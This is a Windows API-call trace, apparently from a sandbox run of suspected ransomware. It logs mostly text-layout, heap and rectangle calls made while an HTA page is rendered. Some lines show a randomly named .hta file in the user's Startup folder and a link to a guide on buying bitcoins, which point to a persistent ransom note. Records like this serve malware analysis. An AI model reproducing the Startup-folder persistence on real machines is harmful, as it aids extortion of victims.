[0103.297] CoCreateInstance (in: rclsid=0x732f2bc0*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73283cb0*(Data1=0x3c374a41, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), ppv=0x482d14 | out: ppv=0x482d14*=0x5055f8) returned 0x0
[0103.305] IUnknown:QueryInterface (in: This=0x5055f8, riid=0x73347ac0*(Data1=0xcd040b2, Data2=0x39ba, Data3=0x4cdf, Data4=([0]=0x96, [1]=0xcf, [2]=0xc1, [3]=0x92, [4]=0x9d, [5]=0x3b, [6]=0x98, [7]=0x98)), ppvObject=0x1ce63c | out: ppvObject=0x1ce63c*=0x5055f8) returned 0x0
[0103.388] IUnknown:Release (This=0x5055f8) returned 0x2
[0103.388] IUnknown:Release (This=0x47d5fc) returned 0x4
[0103.388] IUnknown:Release (This=0x47d5fc) returned 0x3
[0103.388] IsOS (dwOS=0x25) returned 1
[0103.388] GetSysColor (nIndex=26) returned 0xcc6600
[0103.388] LsSetDoc () returned 0x0
[0103.388] LsCreateLine () returned 0x0
[0103.388] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.389] LsQueryLineDup () returned 0x0
[0103.389] LsDestroyLine () returned 0x0
[0103.389] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.389] LsSetDoc () returned 0x0
[0103.389] LsCreateLine () returned 0x0
[0103.389] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.390] LsQueryLineDup () returned 0x0
[0103.390] LsDestroyLine () returned 0x0
[0103.390] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.390] CreateUri (in: pwzURI="http://www.coindesk.com/information/how-can-i-buy-bitcoins/", dwFlags=0x2b81, dwReserved=0x0, ppURI=0x1ce62c | out: ppURI=0x1ce62c*=0x47dd94) returned 0x0
[0103.390] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1ce540 | out: ppu=0x1ce540) returned 0x0
[0103.390] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x1ce5fc | out: ppURI=0x1ce5fc*=0x47c7a4) returned 0x0
[0103.390] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1ce5c4 | out: ppvObject=0x1ce5c4*=0x47c7a4) returned 0x0
[0103.391] IUnknown:Release (This=0x47c7a4) returned 0xa
[0103.391] IUnknown:AddRef (This=0x47c7a4) returned 0xb
[0103.391] CoInternetCombineIUri (in: pBaseUri=0x47c7a4, pRelativeUri=0x47dd94, dwCombineFlags=0x6000000, ppCombinedUri=0x1ce630, dwReserved=0x0 | out: ppCombinedUri=0x1ce630*=0x47dd94) returned 0x0
[0103.391] IUnknown:Release (This=0x47c7a4) returned 0xb
[0103.391] IUnknown:Release (This=0x47c7a4) returned 0xa
[0103.391] IUnknown:QueryInterface (in: This=0x5055f8, riid=0x73347ac0*(Data1=0xcd040b2, Data2=0x39ba, Data3=0x4cdf, Data4=([0]=0x96, [1]=0xcf, [2]=0xc1, [3]=0x92, [4]=0x9d, [5]=0x3b, [6]=0x98, [7]=0x98)), ppvObject=0x1ce63c | out: ppvObject=0x1ce63c*=0x5055f8) returned 0x0
[0103.391] IUnknown:Release (This=0x5055f8) returned 0x2
[0103.391] IUnknown:Release (This=0x47dd94) returned 0x4
[0103.391] IUnknown:Release (This=0x47dd94) returned 0x3
[0103.391] IsOS (dwOS=0x25) returned 1
[0103.391] GetSysColor (nIndex=26) returned 0xcc6600
[0103.391] LsSetDoc () returned 0x0
[0103.391] LsCreateLine () returned 0x0
[0103.391] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.393] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x508478
[0103.394] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x508768
[0103.394] LsQueryLineDup () returned 0x0
[0103.394] LsDestroyLine () returned 0x0
[0103.394] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.395] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503b88
[0103.395] LsSetDoc () returned 0x0
[0103.395] LsCreateLine () returned 0x0
[0103.395] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.395] LsQueryLineDup () returned 0x0
[0103.395] LsDestroyLine () returned 0x0
[0103.395] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.396] LsSetDoc () returned 0x0
[0103.396] LsCreateLine () returned 0x0
[0103.396] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.396] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc340
[0103.397] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2c60
[0103.397] LsSetDoc () returned 0x0
[0103.397] LsCreateLine () returned 0x0
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.398] LsQueryLineDup () returned 0x0
[0103.398] LsDestroyLine () returned 0x0
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508a10 | out: hHeap=0x450000) returned 1
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.398] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.398] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x497f28
[0103.398] LsdnFinishRegular () returned 0x0
[0103.399] LsQueryLineDup () returned 0x0
[0103.399] LsQueryLineCpPpoint () returned 0x0
[0103.399] LsDestroyLine () returned 0x0
[0103.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc340 | out: hHeap=0x450000) returned 1
[0103.399] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.400] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x505340, Size=0x3f0) returned 0x508a10
[0103.400] LsSetDoc () returned 0x0
[0103.400] LsCreateLine () returned 0x0
[0103.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.400] LsQueryLineDup () returned 0x0
[0103.400] LsDestroyLine () returned 0x0
[0103.400] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.401] LsSetDoc () returned 0x0
[0103.401] LsCreateLine () returned 0x0
[0103.401] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.402] LsQueryLineDup () returned 0x0
[0103.402] LsDestroyLine () returned 0x0
[0103.402] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.403] LsSetDoc () returned 0x0
[0103.403] LsCreateLine () returned 0x0
[0103.403] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.404] LsQueryLineDup () returned 0x0
[0103.404] LsDestroyLine () returned 0x0
[0103.404] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.404] LsSetDoc () returned 0x0
[0103.404] LsCreateLine () returned 0x0
[0103.404] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.405] LsQueryLineDup () returned 0x0
[0103.405] LsDestroyLine () returned 0x0
[0103.405] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.406] LsSetDoc () returned 0x0
[0103.406] LsCreateLine () returned 0x0
[0103.406] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.406] LsQueryLineDup () returned 0x0
[0103.407] LsDestroyLine () returned 0x0
[0103.407] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.407] LsSetDoc () returned 0x0
[0103.407] LsCreateLine () returned 0x0
[0103.407] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.408] LsQueryLineDup () returned 0x0
[0103.408] LsDestroyLine () returned 0x0
[0103.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.408] LsSetDoc () returned 0x0
[0103.408] LsCreateLine () returned 0x0
[0103.409] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.410] LsQueryLineDup () returned 0x0
[0103.410] LsDestroyLine () returned 0x0
[0103.410] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.410] LsSetDoc () returned 0x0
[0103.410] LsCreateLine () returned 0x0
[0103.410] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.411] LsQueryLineDup () returned 0x0
[0103.411] LsDestroyLine () returned 0x0
[0103.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e0ec8 | out: hHeap=0x450000) returned 1
[0103.411] LsDestroyContext () returned 0x0
[0103.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500da0 | out: hHeap=0x450000) returned 1
[0103.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6948 | out: hHeap=0x450000) returned 1
[0103.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500eb8 | out: hHeap=0x450000) returned 1
[0103.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6978 | out: hHeap=0x450000) returned 1
[0103.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b4e0 | out: hHeap=0x450000) returned 1
[0103.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b508 | out: hHeap=0x450000) returned 1
[0103.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c7d10 | out: hHeap=0x450000) returned 1
[0103.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4a4b68 | out: hHeap=0x450000) returned 1
[0103.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b558 | out: hHeap=0x450000) returned 1
[0103.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b530 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011c0 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011e8 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5019a8 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd810 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd820 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd830 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd840 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501db0 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501ee0 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502008 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502118 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502250 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5025e8 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5026b8 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4622f0 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc160 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502d68 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4ba8d0 | out: hHeap=0x450000) returned 1
[0103.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503428 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502850 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5029f0 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502ac0 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c68 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502368 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502c58 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500728 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5036a8 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503828 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503768 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503360 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503298 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5004d0 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.414] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.415] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.415] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.415] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.415] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.415] IntersectRect (in: lprcDst=0x1cf070, lprcSrc1=0x1cf070, lprcSrc2=0x1cf0f8 | out: lprcDst=0x1cf070) returned 1
[0103.415] IntersectRect (in: lprcDst=0x1cf108, lprcSrc1=0x1cf108, lprcSrc2=0x1cf070 | out: lprcDst=0x1cf108) returned 1
[0103.415] IntersectRect (in: lprcDst=0x1cf160, lprcSrc1=0x1cf160, lprcSrc2=0x1cf0f8 | out: lprcDst=0x1cf160) returned 1
[0103.415] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.415] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x498860 | out: hHeap=0x450000) returned 1
[0103.415] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.416] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.416] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] IntersectRect (in: lprcDst=0x1cf48c, lprcSrc1=0x1cf48c, lprcSrc2=0x1cf45c | out: lprcDst=0x1cf48c) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf47c | out: lprcDst=0x499f50) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf49c | out: lprcDst=0x499f50) returned 1
[0103.417] IntersectRect (in: lprcDst=0x1cf050, lprcSrc1=0x1cf050, lprcSrc2=0x1cf020 | out: lprcDst=0x1cf050) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499fd8, lprcSrc1=0x499fd8, lprcSrc2=0x1cf040 | out: lprcDst=0x499fd8) returned 1
[0103.417] IntersectRect (in: lprcDst=0x1cf14c, lprcSrc1=0x1cf14c, lprcSrc2=0x1cf11c | out: lprcDst=0x1cf14c) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf13c | out: lprcDst=0x499f50) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf15c | out: lprcDst=0x499f50) returned 1
[0103.417] IntersectRect (in: lprcDst=0x1ced60, lprcSrc1=0x1ced60, lprcSrc2=0x1cecf0 | out: lprcDst=0x1ced60) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499fd8, lprcSrc1=0x499fd8, lprcSrc2=0x1ced80 | out: lprcDst=0x499fd8) returned 1
[0103.417] IntersectRect (in: lprcDst=0x1cee5c, lprcSrc1=0x1cee5c, lprcSrc2=0x1ced9c | out: lprcDst=0x1cee5c) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cee7c | out: lprcDst=0x499f50) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] UnionRect (in: lprcDst=0x1ced90, lprcSrc1=0x1ced90, lprcSrc2=0x1cedb0 | out: lprcDst=0x1ced90) returned 1
[0103.417] IntersectRect (in: lprcDst=0x1cee5c, lprcSrc1=0x1cee5c, lprcSrc2=0x1ced9c | out: lprcDst=0x1cee5c) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cee7c | out: lprcDst=0x499f50) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cee9c | out: lprcDst=0x499f50) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] IntersectRect (in: lprcDst=0x1ceb9c, lprcSrc1=0x1ceb9c, lprcSrc2=0x1ceadc | out: lprcDst=0x1ceb9c) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebbc | out: lprcDst=0x499f50) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebdc | out: lprcDst=0x499f50) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] UnionRect (in: lprcDst=0x1ceae0, lprcSrc1=0x1ceae0, lprcSrc2=0x4b2a48 | out: lprcDst=0x1ceae0) returned 1
[0103.417] UnionRect (in: lprcDst=0x1cead0, lprcSrc1=0x1cead0, lprcSrc2=0x1ceaf0 | out: lprcDst=0x1cead0) returned 1
[0103.417] IntersectRect (in: lprcDst=0x1ceb9c, lprcSrc1=0x1ceb9c, lprcSrc2=0x1ceadc | out: lprcDst=0x1ceb9c) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebbc | out: lprcDst=0x499f50) returned 1
[0103.417] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebdc | out: lprcDst=0x499f50) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.417] UnionRect (in: lprcDst=0x1ceae0, lprcSrc1=0x1ceae0, lprcSrc2=0x4b2a80 | out: lprcDst=0x1ceae0) returned 1
[0103.417] UnionRect (in: lprcDst=0x1cead0, lprcSrc1=0x1cead0, lprcSrc2=0x1ceaf0 | out: lprcDst=0x1cead0) returned 1
[0103.418] IntersectRect (in: lprcDst=0x1ceb9c, lprcSrc1=0x1ceb9c, lprcSrc2=0x1ceadc | out: lprcDst=0x1ceb9c) returned 1
[0103.418] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebbc | out: lprcDst=0x499f50) returned 1
[0103.418] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebdc | out: lprcDst=0x499f50) returned 1
[0103.418] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.418] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.418] UnionRect (in: lprcDst=0x1ceae0, lprcSrc1=0x1ceae0, lprcSrc2=0x4b2c78 | out: lprcDst=0x1ceae0) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cead0, lprcSrc1=0x1cead0, lprcSrc2=0x1ceaf0 | out: lprcDst=0x1cead0) returned 1
[0103.418] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.418] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x49d834 | out: lprcDst=0x1ceda0) returned 1
[0103.418] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x4b28f8 | out: lprcDst=0x1ceda0) returned 1
[0103.418] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x497cd8 | out: lprcDst=0x1ceda0) returned 1
[0103.418] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x497d30 | out: lprcDst=0x1ceda0) returned 1
[0103.418] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x497f40 | out: lprcDst=0x1ceda0) returned 1
[0103.418] UnionRect (in: lprcDst=0x1ced90, lprcSrc1=0x1ced90, lprcSrc2=0x1cedb0 | out: lprcDst=0x1ced90) returned 1
[0103.418] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.418] IntersectRect (in: lprcDst=0x1cf060, lprcSrc1=0x1cf060, lprcSrc2=0x499f40 | out: lprcDst=0x1cf060) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf368, lprcSrc1=0x1cf368, lprcSrc2=0x1cf314 | out: lprcDst=0x1cf368) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf2c4, lprcSrc1=0x1cf2c4, lprcSrc2=0x1cf274 | out: lprcDst=0x1cf2c4) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf2c4, lprcSrc1=0x1cf2c4, lprcSrc2=0x1cf274 | out: lprcDst=0x1cf2c4) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf2c4, lprcSrc1=0x1cf2c4, lprcSrc2=0x1cf274 | out: lprcDst=0x1cf2c4) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf368, lprcSrc1=0x1cf368, lprcSrc2=0x1cf314 | out: lprcDst=0x1cf368) returned 1
[0103.418] UnionRect (in: lprcDst=0x1cf368, lprcSrc1=0x1cf368, lprcSrc2=0x1cf314 | out: lprcDst=0x1cf368) returned 1
[0103.419] IntersectRect (in: lprcDst=0x1cf300, lprcSrc1=0x1cf300, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf300) returned 1
[0103.419] IntersectRect (in: lprcDst=0x1cf210, lprcSrc1=0x1cf210, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf210) returned 1
